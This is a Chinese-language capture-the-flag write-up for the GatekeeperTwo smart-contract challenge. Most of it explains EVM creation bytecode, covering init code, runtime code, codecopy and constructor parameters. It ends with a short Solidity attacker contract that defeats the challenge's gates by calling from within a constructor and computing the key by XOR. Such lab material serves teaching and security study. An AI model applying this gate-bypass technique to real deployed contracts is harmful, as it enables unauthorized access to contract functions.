GateKeeperTwo
Reference
目标
- 更新目标合约的参数
Ethereum smart contract creation code
codeCopy
codecopy从内存中取出数据
destOffset: 内存中读取数据的起始位置offset: 待拷贝数据的起始位置size: 拷贝数据的长度

Introduction-creation code
<init code> <runtime code> <constructor parameters>
- 合约部署时由三部分组成:
EVM从init code开始执行部署工作(create字节码),部署过程初始化构造器参数并且将runtime code存储在链上
pragma solidity 0.8.17;// optimizer: 200 runs
contract Minimal {
// 空 constructor()函数不影响合约部署的字节码,存在或不存在 constructor()函数,字节码都一样
constructor() payable {
}
}
部署 bytesCode
0x6080604052603f8060116000396000f3fe + 6080604052600080fdfea2646970667358221220a4c95008952415576a18240f5049a47507e1658565a8ec11a634c25a9aa17cf164736f6c63430008110033

initcode中执行codecopy,栈内数据自栈顶向下依次存在值:00,11,3f,3f。表明从内存0index开始,间隔0x11=17开始读取0x3f=63bytes数据codecopy将runtimeCode拷贝到内存中存储return关键字将内存数据返回到EVM,作为合约数据存储上链
Non-payable constructor contract
0x6080604052348015600f57600080fd5b50603f80601d6000396000f3fe|6080604052600080fdfea2646970667358221220a55361e0436e97c9dd60ac5f5a5d96e6a000f6229fd071b0bc9ab6d5f7fe2fe064736f6c63430008110033
包含payable 修饰符的合约:
0x6080604052603f8060116000396000f3fe+6080604052600080fdfea2646970667358221220a4c95008952415576a18240f5049a47507e1658565a8ec11a634c25a9aa17cf164736f6c63430008110033
- 没有payable修饰的合约部署代码中的
initcode size较大,因为需要进行value的判断 <init bytecode> <extra 12 byte sequence (payable case)> <return runtime bytecode> <runtime bytecode>
// check the amount of wei that was sent
CALLVALUE
DUP1
ISZERO
// Jump to 0x0f (contract deployment step)
PUSH1 0x0f
JUMPI
// revert if wei sent is greater than 0
PUSH1 0x00
DUP1
REVERT
RuntimeCode
- 在空合约中,
runtimeCode不为空,需要包含当前合约编译环境等源数据 runtimeTime包含constructor()构造函数中的初始化参数(如果存在的话,会encode到最后)
pragma solidity 0.8.17;
contract Runtime {
address lastSender;
constructor () payable {}
receive() external payable {
lastSender = msg.sender;
}
}
存在函数方法的合约的部署字节码:0x6080604052605a8060116000396000f3fe+608060405236601f57600080546001600160a01b03191633908117909155005b600080fdfe+a2646970667358221220f866e014c98dd6fc08f86a965441844c3b59b2562df6b35744699f67785c2a0c64736f6c63430008110033
<initCode> + <Runtimecode>(part1_runtimeCode + part2_Metadata)runtimeCode负责处理msg.data, 遍历字节码匹配合约函数进行处理。示例不存在任何函数以及fallback()函数,如果用于发起的交易中msg.data不为空的话,会导致交易revert.
Constructor with parameters
- 构造函数的数据用于初始化合约函数,在合约代码存储上链后执行。
- 存在参数的构造函数,在部署时会检查合约参数是否时预期参数类型、长度等
- 构造函数参数
encode到runtimeCode之后
pragma solidity 0.8.17;
contract MinimalLogic {
uint256 private x;
constructor (uint256 _x) payable {
x =_x;
}
}
合约部署字节码: 0x608060405260405160893803806089833981016040819052601e916025565b600055603d565b600060208284031215603657600080fd5b5051919050565b603f80604a6000396000f3fe+ 6080604052600080fdfea26469706673582212209e3f4fd87589fae7c00e7284adf0a1a3f48c201e7bbaed31395c5304a13054a764736f6c63430008110033 + 000000000000000000000000000000000000000000000000000000000000007b
- 部署环节先检查构造函数的参数是否符合预期
- 检查通过后,更新合约
storage参数 - 将
runtimecode拷贝的内存并存储上链
合约分析
msg.sender != tx.origin,需要实现一个辅助攻击合约,通过合约call,更新当前交易的msg.senderextcodesize(caller()) ==0要求发起交易的合约的runtimeCode为空- 合约部署过程会先执行 构造函数中的逻辑,然后才会返回
runtimecode并存储上链 - 因此如果远程
call的合约逻辑放在constructor()函数中执行, 就可以满足这个条件
- 合约部署过程会先执行 构造函数中的逻辑,然后才会返回
- 对于异或操作
A XOR B = C等于A XOR C = B, 所以key值等于A XOR C
contract AtGatekeeper {
bytes8 gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
constructor() {
GatekeeperTwo two = GatekeeperTwo(0xxxxxxxxx);
two.enter(gateKey);
}
function anyfunc()public {}
function anyfunc2()public {}
}